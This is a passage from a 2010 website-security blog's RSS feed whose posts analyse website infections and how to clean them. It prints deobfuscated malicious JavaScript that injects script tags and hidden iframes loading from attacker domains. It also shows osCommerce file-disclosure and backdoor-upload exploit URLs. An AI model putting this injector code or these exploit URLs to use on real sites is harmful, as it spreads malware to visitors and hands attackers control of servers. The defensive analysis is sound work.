<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>We Watch Your Website - so you don&#039;t have to!</title>
	<atom:link href="http://wewatchyourwebsite.com/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://wewatchyourwebsite.com/wordpress</link>
	<description>Website Security</description>
	<lastBuildDate>Fri, 27 Aug 2010 10:30:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>riotassistance.ru infections</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/08/riotassistance-ru-infections/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/08/riotassistance-ru-infections/#comments</comments>
		<pubDate>Wed, 18 Aug 2010 11:36:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[infected website]]></category>
		<category><![CDATA[linux.js]]></category>
		<category><![CDATA[malscript]]></category>
		<category><![CDATA[megabyte.js]]></category>
		<category><![CDATA[nuttypiano]]></category>
		<category><![CDATA[riotassistance]]></category>
		<category><![CDATA[riotassistance.ru]]></category>
		<category><![CDATA[stolen FTP credentials]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[website infections]]></category>
		<category><![CDATA[website.js]]></category>
		<category><![CDATA[wewatchyourwebsite]]></category>

		<guid isPermaLink="false">http://wewatchyourwebsite.com/wordpress/?p=433</guid>
		<description><![CDATA[We&#8217;ve been seeing more website infections with a malscript that looks like: (opening script tag) src="hxxp:// riotassistance.ru /Website.js">(closing script tag) Note: We&#8217;ve also seen this same this but with nuttypiano replacing riotassistance. Sometimes the last part: Website.js is something else: &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/08/riotassistance-ru-infections/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ve been seeing more website infections with a malscript that looks like:</p>
<p><code>(opening script tag) src="hxxp:// riotassistance.ru /Website.js">(closing script tag)<br />
<!--1c23ba416dda7b39ba5045d1262331e3--></code> </p>
<p>Note: We&#8217;ve also seen this same this but with nuttypiano replacing riotassistance.</p>
<p>Sometimes the last part: Website.js is something else:</p>
<p>Linux.js<br />
Megabyte.js</p>
<p>and a few others. The common pattern here is obviously the riotassistance.ru domain and the last part of the URL has an upper-case first letter and is usually some random, but familiar word.</p>
<p>The other identifier is the seemingly useless string immediately following the malscript. In the example above it&#8217;s the: <!--1c23ba416dda7b39ba5045d1262331e3--></p>
<p>Keep in mind that this will be different for each website, at least from what we&#8217;ve seen so far.</p>
<p>This malscript and it&#8217;s associated string has been found in index files and files that start with the word main, or in the footer.php file on WordPress sites. The footer.php that will be infected is usually in the theme folder for your site. So if you&#8217;re using the default theme, it will be the footer.php file in the theme/default folder on your site.</p>
<p>This same infection has been found in .js files as a document.write at the bottom of the .js file, such as this:</p>
<p><img src="http://wewatchyourwebsite.com/wordpress/wp-content/uploads/2010/08/nuttypiano-docwrite.gif" alt="nuttypiano" title="nuttypiano-docwrite" width="803" height="37" class="alignnone size-full wp-image-445" /></p>
<p>Time to dig a little deeper&#8230;</p>
<p>We find that this domain is registered:</p>
<p>domain:     RIOTASSISTANCE.RU<br />
nserver:    ns1.getyourdns.com.<br />
nserver:    ns2.getyourdns.com.<br />
nserver:    ns3.getyourdns.com.<br />
nserver:    ns4.getyourdns.com.<br />
state:      REGISTERED, DELEGATED, VERIFIED<br />
person:     Private Person<br />
phone:      +7 8482 735000<br />
e-mail:     angles@fastermail.ru<br />
registrar:  NAUNET-REG-RIPN</p>
<p>According to abuse.ch, this registrar has 126 sites that associated to Zeus:</p>
<p><a href="http://wewatchyourwebsite.com/wordpress/wp-content/uploads/2010/08/Zeushosts.gif"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/uploads/2010/08/Zeushosts-140x300.gif" alt="riotassistance.ru associated to Zeus registrar" title="Zeushosts" width="140" height="300" class="alignnone size-medium wp-image-434" /></a></p>
<p>We also find that the above listed email address is only registered on 4 other domains.</p>
<p>As far as cleaning this goes, obviously remove the malscript from your pages or replace the pages with known good backups.</p>
<p>From what we&#8217;ve found so far, this website infection happens via stolen FTP credentials. These FTP credentials are stolen by a virus/trojan on a PC that&#8217;s been used to FTP files to the infected website.</p>
<p>First, change all FTP passwords &#8211; immediately.</p>
<p>Second, run a full virus scan on all PCs used to FTP files to the infected website. This includes developers, authors, etc.</p>
<p>Third, if your site has been listed as suspicious by Google, request a review from the Google Webmaster Tools.</p>
<p>Post here if you have questions or send me an email if you&#8217;d like further help in cleaning this up.</p>
<p>Thank you.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/08/riotassistance-ru-infections/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>toobarcom, mybar, adsnet infections</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/08/toobarcom-mybar-adsnet-infections/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/08/toobarcom-mybar-adsnet-infections/#comments</comments>
		<pubDate>Sat, 14 Aug 2010 15:28:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[adsnet.biz]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[edisonsnightclub.com]]></category>
		<category><![CDATA[freead.name]]></category>
		<category><![CDATA[ftp credentials]]></category>
		<category><![CDATA[gaindirectory.org]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hosting providers]]></category>
		<category><![CDATA[ideacoreportal.com]]></category>
		<category><![CDATA[infected website]]></category>
		<category><![CDATA[karenegren.com]]></category>
		<category><![CDATA[malicious code]]></category>
		<category><![CDATA[malscript]]></category>
		<category><![CDATA[myads.name]]></category>
		<category><![CDATA[mybar.us]]></category>
		<category><![CDATA[obfuscated]]></category>
		<category><![CDATA[this.b=this.M]]></category>
		<category><![CDATA[toolbarcom.org]]></category>
		<category><![CDATA[var st]]></category>
		<category><![CDATA[website infection]]></category>

		<guid isPermaLink="false">http://www.wewatchyourwebsite.com/wordpress/?p=404</guid>
		<description><![CDATA[Over the past week or so, we&#8217;ve been fighting a new website infection. At first, it appeared to be infecting just one hosting provider, but as we investigated further, we found it was affecting websites on many hosting providers. I&#8217;m &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/08/toobarcom-mybar-adsnet-infections/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Over the past week or so, we&#8217;ve been fighting a new website infection. At first, it appeared to be infecting just one hosting provider, but as we investigated further, we found it was affecting websites on many hosting providers. I&#8217;m sorry that it&#8217;s taken so long to write about this but we&#8217;ve been seeing various new backdoors added to sites and I wanted to fully analyze those before writing this.</p>
<p>What we&#8217;re seeing is a malscript inserted either immediately before the legitimate code in certain .js (javascript) files or inserted in html and php files. If it&#8217;s in a .js file, you have to be careful because it appears to be part of the entire javascript code. There&#8217;s no spaces or line breaks between the malicious code and the legitimate code.</p>
<p>In .html and .php files we&#8217;ve usually seen it enclosed by &#8216;ads&#8217; tags and script tags.  </p>
<p>We&#8217;ve seen two variations of the malicious code:</p>
<p>The first one starts with:</p>
<p><code>var st1 = ;this.b=this.M="";this.A="";this.w=false;""...</code></p>
<p>and ends with:</p>
<p><code>var gr0=0;</code></p>
<p>The second starts with:<br />
<code>var st1 = 0;document. write( unescape('%3C%73...</code></p>
<p>and ends with:</p>
<p><code>gr0=0;</code></p>
<p>We&#8217;ll examine each one here to let you know what they&#8217;re doing.</p>
<p>The first one deobfuscates to this:</p>
<p><code>var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion; if(document.cookie.indexOf("holycookie")==-1&amp;&amp;!a.toLowerCase().match(b)&amp;&amp;c.toLowerCase().indexOf("win")!=-1){var d=["myads.name","adsnet.biz","toolbarcom.org","mybar.us","freead.name"],e=["axe.","box.","cox.","dex.","fax.","fix.","fox.","gox.","hex.","kex.","lax.","lex.",<br />
"lox.","lux.","max.","mix.","nix.","oxo.","oxy.","pax.","pix.","pox.","pyx.","rax.",<br />
"rex.","sax.","sex.","six.","sox.","tax.","tux.","vex.","vox.","wax.","xis.","zax."],<br />
f=Math.floor(Math.random()*d.length),g=Math.floor(Math.random()*e.length);<br />
dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="holycookie="+<br />
escape("holycookie")+";expires="+dt.toGMTString()+";path=/";</code><br />
<code>document. write ('(script tag) src=" hxxp: // '+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)</code> </p>
<p>When looking at this code, you&#8217;ll see that is uses a variety of user-agent strings:</p>
<ul>
<li>yahoo</li>
<li>search</li>
<li>msnbot</li>
<li>yandex</li>
<li>googlebot</li>
<li>bing</li>
<li>ask</li>
</ul>
<p>Then creates an array of domains:</p>
<ul>
<li>myads.name</li>
<li>adsnet.biz</li>
<li>toolbarcom.org</li>
<li>mybar.us</li>
<li>freead.name</li>
</ul>
<p>and then creates an array of prefixes:</p>
<ul>
<li> axe.</li>
<li> box.</li>
<li> cox.</li>
<li> dex.</li>
<li> fax.</li>
<li> fix.</li>
<li> fox.</li>
<li> gox.</li>
<li> hex.</li>
<li> kex.</li>
<li> lax.</li>
<li> lex.</li>
<li> lox.</li>
<li> lux.</li>
<li> max.</li>
<li> mix.</li>
<li> nix.</li>
<li> oxo.</li>
<li> oxy.</li>
<li> pax.</li>
<li> pix.</li>
<li> pox.</li>
<li> pyx.</li>
<li> rax.</li>
<li> rex.</li>
<li> sax.</li>
<li> sex.</li>
<li> six.</li>
<li> sox.</li>
<li> tax.</li>
<li> tux.</li>
<li> vex.</li>
<li> vox.</li>
<li> wax.</li>
<li> xis.</li>
<li> zax.</li>
</ul>
<p>When you consider the number of possible combinations of domains and subdomains, this becomes quite clear the hackers were looking to hide their locations.</p>
<p>The final part of the code puts it all together and adds a little more to the URL:</p>
<p><code>document. write(' (script tag) src="hxxp : //'+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)</code></p>
<p>adding the &#8216;/system/caption.js&#8217; to the end of whatever domain string it&#8217;s built.</p>
<p>So a typical string after this first code is decoded might look like:</p>
<p><code>(script tag) type="text/javascript" src="hxxp: //mix.freead.name/system/caption.js"><br />
(script tag)</code></p>
<p>The second obfuscated string from above, uses the same basic methodology but uses these domains:</p>
<ul>
<li>edisonsnightclub.com</li>
<li>gaindirectory.org</li>
<li>ideacoreportal.com</li>
<li>karenegren.com</li>
</ul>
<p>and appends one of these strings to the front:</p>
<ul>
<li> aqua.</li>
<li> azure.</li>
<li> black.</li>
<li> blue.</li>
<li> brown.</li>
<li> chocolate.</li>
<li> coral.</li>
<li> cyan.</li>
<li> darkred.</li>
<li> fuchsia.</li>
<li> gold.</li>
<li> gray.</li>
<li> green.</li>
<li> indigo.</li>
<li> ivory.</li>
<li> khaki.</li>
<li> lime.</li>
<li> magenta.</li>
<li> maroon.</li>
<li> navy.</li>
<li> olive.</li>
<li> orange.</li>
<li> pink.</li>
<li> plum.</li>
<li> purple.</li>
<li> red.</li>
<li> silver.</li>
<li> snow.</li>
<li> violet.</li>
<li> white.</li>
<li> yellow.</li>
</ul>
<p>This malscript creates a document.write string that uses one of the above prefixes, one of the above domains and adds &#8216;/data/mootools.js&#8217; to the end to complete the malscript.</p>
<p>If you&#8217;re looking for this malscript in your website, please make sure you grab the entire line all the way to &#8216;var gr0=0;&#8217; (without the quotes) and nothing more. Otherwise, your legitimate code won&#8217;t function properly and you&#8217;ll have to restore from backup. Which, may not be a bad thing &#8211; unless, of course, you don&#8217;t have a good backup.</p>
<p>We&#8217;re still investigating how this infection starts. At first we thought it was WordPress based sites only. Then we realized that it was also infecting non-Wordpress sites. It might be the old compromised FTP credentials, but we haven&#8217;t been able to gather all our data yet. When we do, we&#8217;ll post an update here.</p>
<p>We&#8217;re also going to post about the backdoors we&#8217;ve found and you can search your site for them as well.</p>
<p>Until then, if you&#8217;re infected with this or if Google shows any of these domains in your Safe Browsing Diagnostic report (http://www.google.com/safebrowsing/diagnostic?site=), and you&#8217;d like us to clean it for you, please send me an email at traef@wewatchyourwebsite.com</p>
<p>Thank you.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/08/toobarcom-mybar-adsnet-infections/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vancouvererrorsonfile infection</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/08/vancouvererrorsonfile-infection/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/08/vancouvererrorsonfile-infection/#comments</comments>
		<pubDate>Fri, 06 Aug 2010 23:16:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[dottasink.net]]></category>
		<category><![CDATA[infected website]]></category>
		<category><![CDATA[nowisisdudescars]]></category>
		<category><![CDATA[onlineisdudescars]]></category>
		<category><![CDATA[vancouvererrorsonfile]]></category>

		<guid isPermaLink="false">http://www.wewatchyourwebsite.com/wordpress/?p=398</guid>
		<description><![CDATA[Over the past few days we&#8217;ve cleaned 312 infected websites all with the script: (spaces added so it doesn&#8217;t set an alarm with your anti-virus program). As of right now the following sites don&#8217;t recognize vancouvererrorsonfile.com as being malicious: Google &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/08/vancouvererrorsonfile-infection/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Over the past few days we&#8217;ve cleaned 312 infected websites all with the script:</p>
<p><code><script src="http: //vancouvererrorsonfile. com/js2.php "></script></code>(spaces added so it doesn&#8217;t set an alarm with your anti-virus program).</p>
<p>As of right now the following sites don&#8217;t recognize vancouvererrorsonfile.com as being malicious:</p>
<ul>
<li>Google</li>
<li>Norton</li>
<li>rfc_ignorant</li>
<li>malc0de</li>
</ul>
<p>However, McAfee&#8217;s SiteAdvisor and hpHosts do recognize it as being malicious.</p>
<p>At first it appeared that it was specific to one or two hosting providers, however as the infection carried on, we found it on at least 12 different hosting provider&#8217;s networks.</p>
<p>Looking at the server where this site is hosted, reveals other domains that have been used in various malscripts as well:</p>
<ul>
<li>dottasink.net</li>
<li>nowisisdudescars.com</li>
<li>onlineisdudescars.com</li>
</ul>
<p>and a few others.</p>
<p>These domains are all registered by the same person: <a href="mailto:hilarykneber@yahoo.com">hilarykneber@yahoo.com</a>. This person is the contact person on whois records for 337 domains.</p>
<p>The name servers for vancouvererrorsonfile.com are:</p>
<ul>
<li>ns1.masterhostingit.ru</li>
<li>ns2.masterhostingit.ru</li>
</ul>
<p>Our service contiues to see these infections and clean them, even though these domains are not yet registered within Google&#8217;s Safe Browsing malware list. They have been submitted.</p>
<p>If you are infected with this, you can contact me at <a href="mailto:traef@wewatchyourwebsite.com">traef@wewatchyourwebsite.com</a> and we will clean it for you.</p>
<p>If you have any other information to submit, please feel free to post comments.</p>
<p>Thank you.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/08/vancouvererrorsonfile-infection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nutcountry.ru and Parkperson.ru iframes</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/08/nutcountry-ru-and-parkperson-ru-iframes/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/08/nutcountry-ru-and-parkperson-ru-iframes/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 11:05:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[asprox]]></category>
		<category><![CDATA[infected website]]></category>
		<category><![CDATA[nemohuildiin.ru]]></category>
		<category><![CDATA[nutcountry]]></category>
		<category><![CDATA[parkperson]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.wewatchyourwebsite.com/wordpress/?p=385</guid>
		<description><![CDATA[Over the past week we&#8217;ve been seeing a lot of infected websites that have an iframe that contains one of these two URLs: nutcountry.ru:8080/index.php parkperson.ru:8080/index.php A little searching found that approximately 25,000 web pages have the nutcountry.ru:8080/index.php iframe and another &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/08/nutcountry-ru-and-parkperson-ru-iframes/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Over the past week we&#8217;ve been seeing a lot of infected websites that have an iframe that contains one of these two URLs:</p>
<p><code>nutcountry.ru:8080/index.php<br />
parkperson.ru:8080/index.php</code></p>
<p>A little searching found that approximately 25,000 web pages have the <code>nutcountry.ru:8080/index.php</code> iframe and another 516 web pages reference <code>parkperson.ru:8080/index.php</code> iframe.</p>
<p>What&#8217;s interesting is that none of the websites listed in the Google search for either of these two iframes, are listed with &#8220;this site may harm your computer&#8221; label.</p>
<p>We checked the Google Safe Browsing Diagnostic for nutcountry.ru and it shows:</p>
<p><a href="http://wewatchyourwebsite.com/wordpress/wp-content/uploads/2010/08/nutcountry-GSB.gif"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/uploads/2010/08/nutcountry-GSB-300x135.gif" alt="" title="nutcountry-GSB" width="300" height="135" class="alignnone size-medium wp-image-387" /></a><br />
It appears that Google just listed nutcountry.ru on 8-03-2010 which would explain why the web pages listed in a Google search aren&#8217;t showing the warning, &#8220;this site may harm your computer&#8221;.</p>
<p>And for parkperson.ru we found this:</p>
<div id="attachment_393" class="wp-caption alignnone" style="width: 310px"><a href="http://wewatchyourwebsite.com/wordpress/wp-content/uploads/2010/08/parkperson-GSB.gif"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/uploads/2010/08/parkperson-GSB-300x135.gif" alt="" title="parkperson-GSB" width="300" height="135" class="size-medium wp-image-393" /></a><p class="wp-caption-text">parkperson.ru Google Safe Browsing Diagnostic page</p></div>
<p>Shows that as of 8-04-2010, Google has not found this site to be harmful or suspicious.</p>
<p>We attempted to download the files from parkperson.ru, or watch what infection might occur if visited and found that the domain does not exist and neither does nutcountry.ru.</p>
<p>What does all this mean?</p>
<p>It means, that over 25,000 websites were infected, but with an iframe that is harmless because the URL inside the iframe doesn&#8217;t go anywhere.</p>
<p>The other interesting aspect of this infection is that all the web pages appear to be ASP code (.asp or .aspx). Based on the location of the harmless iframes, it appears to be another ASPROX infection.</p>
<p>If it is ASPROX, you&#8217;ll probably see the iframe in your SQL database. Based on the location of where the iframe appears in the web pages, it&#8217;s not a simple iframe injection. The iframe is actually buried in your SQL database. This will make it more difficult to remove. You should consult the services of a database administrator or a security company that knows SQL (yes we do!).</p>
<p>The next thing will be to determine how the code was inserted. This type of infection is referred to SQL injection. This happens when the input from a form or dynamically generated web page isn&#8217;t properly sanitized. If there&#8217;s a code plugin you&#8217;re using, or utilizing some standard software package in your .ASP code, please check for security updates. If you&#8217;ve had a programmer create something for you, contact them and have them check over all the code they created for you. Some where on your site you have a SQL injection vulnerability and it needs to be closed.</p>
<p>As stated, this time, the domains included in the iframe don&#8217;t exist. However, the next time, your visitors could get infected and your site could be blacklisted by Google and many other services.</p>
<p>If you need assistance with this, please send me an email at traef@wewatchyourwebsite.com.</p>
<p>If you have other information about this infection, please post it as a comment.</p>
<p>Thank you.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/08/nutcountry-ru-and-parkperson-ru-iframes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>osCommerce v2.2 Website Infections</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/07/oscommerce-v2-2-website-infections/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/07/oscommerce-v2-2-website-infections/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 11:57:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[infected]]></category>
		<category><![CDATA[infection]]></category>
		<category><![CDATA[malscript]]></category>
		<category><![CDATA[nt002.cn]]></category>
		<category><![CDATA[nt02.co.in]]></category>
		<category><![CDATA[oscommerce]]></category>
		<category><![CDATA[v2.2]]></category>

		<guid isPermaLink="false">http://www.wewatchyourwebsite.com/wordpress/?p=372</guid>
		<description><![CDATA[During the past 10 days we started seeing a number of websites using osCommerce v2.2 being infected. The infection usually included some randomly named folder with a list of files in them. Some of the folder names we&#8217;ve seen include: &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/07/oscommerce-v2-2-website-infections/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>During the past 10 days we started seeing a number of websites using osCommerce v2.2 being infected.</p>
<p>The infection usually included some randomly named folder with a list of files in them. Some of the folder names we&#8217;ve seen include:</p>
<ul>
<li>catalog</li>
<li>feeds</li>
<li>image</li>
<li>scripts</li>
<li>items</li>
<li>rss</li>
<li>inventory</li>
<li>visual</li>
</ul>
<p>The names are common, but are randomly selected by the hacker infecting the website.</p>
<p>Inside the folder are various files, some .html some .php &#8211; all no good.</p>
<p>There is usually at least one file that starts with:</p>
<p>set_time_limit(9999999);</p>
<p>This file actually looks for files with one malscript already injected and replaces it with a newer malscript.</p>
<p>For instance, some of them look for:</p>
<p>hxxp://nt002.cn/E/J.JS</p>
<p>and replace it with:</p>
<p>hxxp://nt02.co.in/3</p>
<p>It appears to place these malscripts immediately after the closing body tag.</p>
<p>Frequently we&#8217;ve also found various backdoors (shell script) files.</p>
<p>These backdoors look for any .conf files (configuration files) especially from:</p>
<ul>
<li>httpd.conf</li>
<li>vhosts.conf</li>
<li>proftpd.conf</li>
<li>psybnc.conf</li>
<li>my.conf</li>
<li>all .conf files</li>
<li>all. .pwd files</li>
<li>all .sql files</li>
<li>all .htpasswd files</li>
</ul>
<p>Armed with this information, the attacker now has complete control over the website.</p>
<p>How to prevent this?</p>
<p>We&#8217;ve found a number of exploits available. One of them is a file disclosure vulnerability which means that the attacker can view files on the website.</p>
<p>One of the URLs follows this scheme:</p>
<p>hxxp>//[site]/[path]/admin/file_manager.php/login.php?action=download&#038;filename=/include/configure.php</p>
<p>This particular URL would show the attacker the configure.php file. There is no patch, that we know of yet, that prevents this attack. The best advice we&#8217;ve seen is to rename the admin folder something obscure so the hackers can&#8217;t just scan your site with this URL and find the file_manager.php file.</p>
<p>Other exploits we&#8217;ve seen use the same basic URL but the action variable is set as follows:</p>
<p>admin/file_manager.php/login.php?action=save</p>
<p>Then a URL to a remote site that stores a backdoor shell script. This backdoor then gets saved to the website. All a hacker has to do is to access the URL:</p>
<p>hxxp://[site]/osCSS/[name of shell script backdoor].php</p>
<p>and they have remote access to the site.</p>
<p>Again, if the admin folder is renamed to something obscure, this attack won&#8217;t work. This type of protection is aptly named, &#8220;security by obscurity&#8221; because all you&#8217;re doing is hiding the folder from the attacker, but until an official patch is released, this seems to be the best advice.</p>
<p>If you&#8217;ve been attacked by this and have some further information, please post a comment or email me at: traef@wewatchyourwebsite.com</p>
<p>If you need help in cleaning this up and checking for all backdoors on your site, please contact me directly at: traef@wewatchyourwebsite.com</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/07/oscommerce-v2-2-website-infections/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Treasury .gov websites hacked</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/05/treasury-gov-websites-hacked/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/05/treasury-gov-websites-hacked/#comments</comments>
		<pubDate>Tue, 04 May 2010 18:44:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.wewatchyourwebsite.com/wordpress/?p=365</guid>
		<description><![CDATA[It was announced by AVG that the websites: bep.gov (Bureau of Engraving and Printing), bep.treas.gov and moneyfactory.gov were injected with a malscript: &#60;SCR IPT (space added)&#62;            function addCookie(name, value, hours)            {                  var date = new Date();                 &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/05/treasury-gov-websites-hacked/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It was announced by AVG that the websites: bep.gov (Bureau of Engraving and Printing), bep.treas.gov and moneyfactory.gov were injected with a malscript:</p>
<p>&lt;SCR IPT (space added)&gt;<br />
           function addCookie(name, value, hours)<br />
           {<br />
                 var date = new Date();<br />
                date.setTime(date.getTime()+(hours*3600000));<br />
                var expires &#8221;; expires=&#8221;+date.toGMTString();<br />
               document.cookie = name+&#8221;=&#8221;+value+expires+&#8221;; &#8220;;<br />
          }</p>
<p>document.write(&#8216;&lt;iframe frameborder=&#8221;0&#8243; onload=\&#8217; if (!this.src){<br />
this.src=&#8221;http://grepad.com/in.cgi?3&#8243;; this.height=0; this.width=0;} \&#8217;&gt;&lt;/iframe&gt;&#8217;);<br />
addCookie(&#8220;cook&#8221;, &#8220;1&#8243;, 24);<br />
&lt;/SCR IPT (space added)&gt;</p>
<p>According to this webpage: <a href="http://news.softpedia.com/news/Department-of-the-Treasury-Website-Rigged-to-Exploit-Visitors-141277.shtml">http://news.softpedia.com/news/Department-of-the-Treasury-Website-Rigged-to-Exploit-Visitors-141277.shtml</a> &#8221;Panda analysts speculate that hackers used a common attack technique known as SQL injection, to compromise the U.S. Treasury website. However, other experts think the incident is related to the recent mass compromise at Network Solutions, where the website is hosted. This possibility is enforced by the use of the malicious grepad.com domain in both attacks.&#8221;</p>
<p>However, it could also be that someone with FTP access to the website had a virus. The virus steals FTP login credentials and sends them to a server which then infects the websites it has legitimate access to. I see no mention of that possibility. Being that this code was injected after the closing html tag, I doubt very seriously that it&#8217;s a SQL injection, possible, but highly unlikely.</p>
<p>Could it have been part of the larger compromise at the hosting provider? Possibly, although last I heard and read, they had cleaned that all up and I know that the first round targeted WordPress blogs, but later repeat attacks targeted all websites at the hosting provider.</p>
<p> It could have been that these sites were untouched until now? We may never know. But I do know that Network Solutions has always responded quickly to infections and taken responsibility when the &#8220;stuff&#8221; hits the fan. I have applauded them before and I do so now as well.</p>
<p> Could this be more finger pointing at someone other than who&#8217;s responsible? No, that never happens in the government &#8211; does it?</p>
<p>Please leave your comments below&#8230;</p>
<p>Thank you.<!-- google_ad_section_end --></p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/05/treasury-gov-websites-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Attack of mailcheck.php and chat.pl</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/05/attack-of-mailcheck-php-and-chat-pl/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/05/attack-of-mailcheck-php-and-chat-pl/#comments</comments>
		<pubDate>Tue, 04 May 2010 12:42:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[base64_decode]]></category>
		<category><![CDATA[chat.pl]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[infected website]]></category>
		<category><![CDATA[mailcheck.php]]></category>
		<category><![CDATA[ob_start]]></category>
		<category><![CDATA[security_update]]></category>

		<guid isPermaLink="false">http://www.wewatchyourwebsite.com/wordpress/?p=357</guid>
		<description><![CDATA[This attack isn&#8217;t anything new, it was used on a number of Italian sites in March 2010, but we&#8217;ve been seeing more of it infecting websites recently so I thought I&#8217;d elaborate. Quite often when scanning or cleaning infected websites, &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/05/attack-of-mailcheck-php-and-chat-pl/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
